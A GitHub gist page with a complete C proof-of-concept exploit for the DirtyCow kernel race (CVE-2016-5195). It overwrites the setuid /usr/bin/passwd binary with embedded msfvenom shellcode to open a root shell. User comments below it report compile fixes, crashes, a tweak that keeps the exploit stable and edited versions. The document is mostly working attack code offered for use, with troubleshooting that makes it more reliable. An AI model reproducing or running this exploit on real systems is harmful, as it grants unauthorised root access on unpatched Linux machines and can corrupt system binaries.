Skip to content

Instantly share code, notes, and snippets.

@rverton
Created October 21, 2016 14:06
Show Gist options
  • Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
@libmifan
Copy link

I have two questions:

  1. This exp could work well on centos7, but failed centos5 and centos 6, could you tell me why?
  2. After running the exp and getting the root privilege, I would be disconnect from the machine a moment later, why?

@developius
Copy link

This doesn't appear to work on Ubuntu 14.04:

cowroot.c: In function ‘procselfmemThread’:
cowroot.c:99:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default]
         lseek(f,map,SEEK_SET);
         ^
In file included from cowroot.c:28:0:
/usr/include/unistd.h:334:16: note: expected ‘__off_t’ but argument is of type ‘void *’
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
                ^
cowroot.c: In function ‘main’:
cowroot.c:142:5: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t’ [-Wformat=]
     printf("Size of binary: %d\n", st.st_size);
     ^

@paboldin
Copy link

paboldin commented Oct 21, 2016

  1. This exp could work well on centos7, but failed centos5 and centos 6, could you tell me why?

CentOS5/6 have mem_write disabled.

@g33kyrash
Copy link

The code got me root access but it freezes the machine. Looking for ways to achieve the same goal using some other way.

@tuxayo
Copy link

tuxayo commented Oct 21, 2016

Can anyone confirm that this payload is not malicious? (It's a good opportunity to make people run random things on their machines)
It's easy to check that the hex payload corresponds to the command line, just install metasploit, run the command and compare the output.

But for the rest, I have no idea about what it's actually doing.

Copy link

ghost commented Oct 22, 2016

All looks legit to me tuxayo.

@enderusaf
Copy link

Seems to work great, but freezes my virtual machine after a minute or so.

@falk0069
Copy link

Had to explicitly cast on line 98: lseek(f,(__off_t)map,SEEK_SET);

It then compiled and worked on Centos7-x64 for about 30 seconds after which selinux went crazy and the system reboot. Some sample /var/log/messages prior to the crash:

Oct 22 23:24:10 myserver setroubleshoot: SELinux is preventing /usr/bin/passwd from write access on the file /proc/<pid>/mem. For complete SELinux messages. run sealert -l cd27eda7-f82d-4595-9505-b3fd4990262f
Oct 22 23:24:11 myserver setroubleshoot: SELinux is preventing /usr/bin/bash from read access on the file .bash_history. For complete SELinux messages. run sealert -l 3366a8fa-6662-43e0-b715-4f882607f4a3

Great work so far!

@eltrasimaco
Copy link

Same thing happened to me (system crash in centos 7/64) with selinux disabled, but I went root for about one minute or so

@artkond
Copy link

artkond commented Oct 23, 2016

Tested on debian 8 x86. uname 3.16-0-4-686. Doesn't work
Don't forget to restore /tmp/bak thread stopped /usr/bin/passwd: 1: /usr/bin/passwd: ELF����: not found /usr/bin/passwd: 1: /usr/bin/passwd: not found /usr/bin/passwd: 1: /usr/bin/passwd: 1sG not found /usr/bin/passwd: 2: /usr/bin/passwd: /bin/bash/lib/ld-linux.so.2���GNU��: not found /usr/bin/passwd: 3: /usr/bin/passwd: ���������xpected user1@debian8x86:~$ passwd bash: /usr/bin/passwd: cannot execute binary file: Exec format error

@jmssil
Copy link

jmssil commented Oct 23, 2016

@artkond, did you choose the correct payload?

In a VM with Ubuntu 16.04.1 it works but freezes the system.

@leoheck
Copy link

leoheck commented Oct 24, 2016

@libmifan I can't even compile it with Centos 5.11 (2.6.18-412.el5.centos.plus), I had to add:

#include <sys/stat.h>
#include <sys/types.h>

Is this expected? Maybe not, right @falk0069?

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:101: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast

@rverton
Copy link
Author

rverton commented Oct 25, 2016

The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now.

Maybe you can find a different PoC from here, which makes use of another technique and does not crash.

@kostrin
Copy link

kostrin commented Oct 25, 2016

I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

@joshuaskorich
Copy link

joshuaskorich commented Oct 26, 2016

The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43

@MarlikAlmighty
Copy link

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:98:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
cowroot.c: In function ‘main’:
cowroot.c:135:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^
cowroot.c:139:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^
cowroot.c:141:12: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^

@wjx
Copy link

wjx commented Nov 6, 2016

When copying sc into payload, why use memcpy(payload, sc, sc_len+1); instead of memcpy(payload, sc, sc_len); ?
sc_len+1 seems meaningless and copys out of sc array.

@lapsio
Copy link

lapsio commented Nov 9, 2016

goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<

luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>

@MatanTubul
Copy link

how can i compile it in order to run it on android device?

@royninja
Copy link

how you generate the payload of the metasploit in hexcode(shell code)?

@TheBunnyCoder
Copy link

image
Is this supposed to happen?

@half2me
Copy link

half2me commented May 8, 2017

Any reason why we use 100 as size with madvise

@blakeXwatson
Copy link

Awesome, saved my old dev computer after I forgot my root creds.

@pabloferugr
Copy link

TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine

@pabloferugr
Copy link

It works but freeze the machine. I think there isn´t other way like cowroot

@issayevruslan
Copy link

version `GLIBC_2.34' not found

@elbobo-binsh
Copy link

./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./cowroot)

@hutgrabber
Copy link

hutgrabber commented Nov 10, 2024

LSEEK( ) Error on Compiling

If you are facing an lseek() error. Go to line 97 and find the following piece of code:

for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET); # Change Me
        c+=write(f, str, sc_len);
    }

Delete the line that says "Change Me" and replace it with - lseek(f, (off_t)map, SEEK_SET);. Now it should compile without errors.

The edited gist that works, can be found here -
https://gist.github.com/hutgrabber/0f9e8584f6e754cb9dba6f909467afaf

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment